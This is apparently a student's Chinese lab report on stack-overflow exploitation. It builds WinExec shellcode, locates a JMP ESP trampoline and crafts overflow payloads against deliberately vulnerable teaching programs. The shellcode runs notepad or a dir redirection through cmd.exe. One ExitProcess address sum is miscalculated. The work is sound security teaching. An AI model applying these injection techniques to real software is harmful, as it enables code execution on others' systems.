软安实验3—shellcode
实验3:shellcode
1. 实验目标
了解shellcode注入原理。
理解给出的弹出对话框的汇编代码。
通过淹没静态地址来实现shellcode的代码植入。
通过跳板来实现shellcode的代码植入。
尝试修改汇编语句的shellcode实现修改标题等简单操作。
信安思考题
在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过记事本打开shellcode.txt(可使用CreateProcessA或WinExec等API)。
双培思考题:
在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过DIR命令把C盘目录结构保存在shellcode.txt中(可使用CreateProcessA或WinExec等API)。
2. 实验要求
- 详述修改过程
- 实验结果需要截图证明
- 绘制修改原理的图示
3. 测试步骤与结果
源代码
1 |
|
3.1. 获取所需的MessageBoxA和ExitProcess函数地址
将shellcode实验文件夹下的
overflow_exe.cpp
文件通过Microsoft Visual C++打开,并在组件选项栏中进行编译和组件,最终生成exe文件。此程序中增加头文件
window.h
,以便调用LoadLibrary函数去装载user32.dll
;Verify_password的buffer变量为44字节,以便能够承载我们编写的shellcode;Main函数装载user32.dll
,以便能在植入代码中调用MessageBox。运行Dependency Walker程序,并用其打开生成的exe文件。
打开后点击
剖析->开始剖析件
开始剖析。弹出设置信息,直接默认设置点击确认即可。
剖析成功后,选取
KERNEL32.DLL
链接库。Denpendency Walker是一个免费的实用程序,可以扫描任何32位或64位Windows模块(exe,dll,ocx,sys等),并构建所有依赖模块的分层树形图。对于找到的每个模块,它都会列出该模块导出的所有函数,以及其他模块实际调用了哪些函数。另一个视图显示所需文件的最小集,以及有关每个文件的详细信息,包括文件的完整路径、基址、版本号、计算机类型、调试信息等。
获取ExitProcess函数入口地址。
查询KERNEL32链接库中ExitProcess函数入口点为
0x0001B0BB
(右下角窗口查找)。再在下面的窗口查找
KERNEL32.DLL
的实际基址(Actual Base)为0x77E60000
。因此其ExitProcess函数地址为动态链接库实际基址加入口偏移地址,即两地址相加为
0x7E7B0BB
。同理,获取MessageBoxA函数入口地址。
查询USER32链接库中MessageBoxA函数入口点为
0x00033D68
(右下角窗口查找)。再在下面的窗口查找
USER32.DLL
的实际基址(Actual Base)为0X77DF0000
。两地址相加为
0x77E23D68
。
3.2. 编写shellcode并获得其操作码
编写shellcode运行。
打开shellcode文件夹中的shellcode.cpp文件,更改其中MessageBoxA和ExitProcess的地址。
编译和组件后运行生成的exe文件。
可以看到成功弹出了对话框。
OllyICE打开shellcode的exe文件进行分析。
拖入到OllyICE中点击运行后,程序运行结束,可以看到之前编写shellcode中的汇编语言,复制选定需要的部分:从xor ebp,ebp开始,到 call eax结束(调用exit process的那个call eax)。
右键保存到文件,就可以得到操作码的文件。
3.1. 淹没静态地址来实现shellcode的代码植入
观察源代码,可以password[1024]的过长内容通过
strcpy
复制给buffer[44],由此可导致栈溢出。在生成的exe文件路径下创建
password.txt
文档,并在其中写入1234567。将exe文件拖入OllyICE,在
strcpy
处设置断点,并执行到断点处。查看缓冲区信息,可以看到dest指向地址
0x0012FAF0
,其为数组的存放起始位置,也就是shellcode注入的起始位置。用010 Editor在
password.txt
中写入payload,根据分析结构应为shellcode+填充字符+shellcode在缓冲区的起始地址。其中shellcode为3.2中获得的操作码,填充字符应保证其与shellcode的和为52字节,shellcode缓冲区地址为dest指向地址,需要注意地址是倒叙填入。最后运行exe文件即可弹出窗口,即可说明植入的shellcode导致栈溢出生效。
3.3. 跳板来实现shellcode的代码植入
使用ollydbg打开overflow_exe.exe 在strcpy函数处设置断点 运行到断点后,进行搜索。
等待搜索完毕后点击日志查看(L图标的按钮)。
可以看到地址为
77E2E32A
。shellcode结构。
其在函数结束后,返回地址被覆盖为JMP ESP的地址进行执行,此时可以将shellcode直接写在父函数里令ESP跳转至此,从而下一步进行执行。
编写password.txt。
运行验证。
4. 测试结论
可以看出栈溢出对程序运行的安全性有很大的威胁,如果不对栈进行保护,只要系统中存在栈溢出漏洞,即可令攻击者通过非正当方法获取操作权限。因此,需要对栈中保存数据的可执行权限做严格的管理,并且系统要能判断栈溢出从而采取相应的保护措施。
5. 思考题
源代码
1 | /* |
可以看到strcpy
将输入的内容复制到栈中,此处会导致栈溢出漏洞。另外main函数有两个参数,第一个参数int argc
为传入的字符串个数,第二个参数是字符串指针数组,用于存放传入的字符串指针。
信安
在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过记事本打开shellcode.txt(可使用CreateProcessA或WinExec等API)。
本次实验使用可使用CreateProcessA或WinExec,此处选用WinExec,其第一个参数为要打开的程序名称,第二个参数为窗口大小。当调用该命令时还需要加入cmd的参数,c:\\shellcode.txt
表示利用notepad打开C盘下的shellcode.txt文本文件,命令如下。
1 | WinExec("cmd.exe /k notepad.exe C:\shellcode.txt", SW_SHOWNORMAL) |
利用Dependency Walker获取WinExec函数的地址。
根据地址计算到其真实地址
0x0018601 + 0x77E60000 = 0x77E78601
。将参数用十六进制表示。
编写shellcode,如下图并编译生成exe文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27#include<windows.h>
int main(){
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440 //开辟栈空间
xor ebx,ebx //将ebx中的值变为0
push ebx //将ebx压入栈中,这是字符串结束符
push 0x747874
push 0x2E65646F
push 0x636C6C65
push 0x68735C3A
push 0x43206578
push 0x652E6461
push 0x7065746F
push 0x6E206B2F
push 0x20657865
push 0x2E646D63
mov eax,esp //由于刚刚一直在压入参数,此时esp指向的就是bupt的地址
push ebx // 0
push eax // bupt的地址
mov eax,0x77e78601 //WinExec 入口地址
call eax
}
return 0;
}将shellcode代码生成的exe文件拖入OllyICE,并找到对应汇编语句右键复制到文件获取机器码。
进行搜索JMP ESP以作为跳板来进行攻击。
可以找到其在
user32.text
字段有JMP ESP,得到地址为0x77E2E32A
。
双培
在不修改StackOverrun程序源代码的情况下,构造shellcode,通过JMP ESP的方式实现通过DIR命令把C盘目录结构保存在shellcode.txt中(可使用CreateProcessA或WinExec等API)。
本次实验使用可使用CreateProcessA或WinExec,此处选用WinExec("cmd.exe,SW_SHOWNORMAL")
,其第一个参数为要打开的程序名称,第二个参数为窗口大小。当调用该命令时还需要加入cmd的参数,/k dir
表示执行完dir命令后不关闭命令窗口,命令如下。
1 | WinExec("cmd.exe /k dir > dir.txt", SW_SHOWNORMAL) |
利用Dependency Walker获取WinExec函数的地址。
根据地址计算到其真实地址
0x0018601 + 0x77E60000 = 0x77E78601
。将参数用十六进制表示。
编写shellcode,如下图并编译生成exe文件。
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23#include<windows.h>
int main(){
HINSTANCE LibHandle;
char dllbuf[11] = "user32.dll";
LibHandle = LoadLibrary(dllbuf);
_asm{
sub sp,0x440 //开辟栈空间
xor ebx,ebx //将ebx中的值变为0
push ebx //将ebx压入栈中,这是字符串结束符
push 0x7478742E
push 0x72696420
push 0x3E207269
push 0x64206B2F
push 0x20657865
push 0X2E646D63
mov eax,esp //由于刚刚一直在压入参数,此时esp指向的就是bupt的地址
push ebx // 0
push eax // bupt的地址
mov eax,0x77e78601 //WinExec 入口地址
call eax
}
return 0;
}将shellcode代码生成的exe文件拖入OllyICE,并找到对应汇编语句右键复制到文件获取机器码。
进行搜索JMP ESP以作为跳板来进行攻击。
可以找到其在
user32.text
字段有JMP ESP,得到地址为0x77E2E32A
。构造payload。
需要注意的是:
- 汇编语言50和B8不能相邻,需要用90隔开。
- D0不能作为结尾。
用OllyICE打开思考题exe调试,添加参数”payload”。
将之前的payload当做参数输入,注意要用引号包住。
重新开始运行程序,可以看到程序跳到了编写的shellcode汇编处结束。
在可执行文件的当前目录可以看到生成了dir.txt文件,其中记录了执行指令后输出的当前目录信息。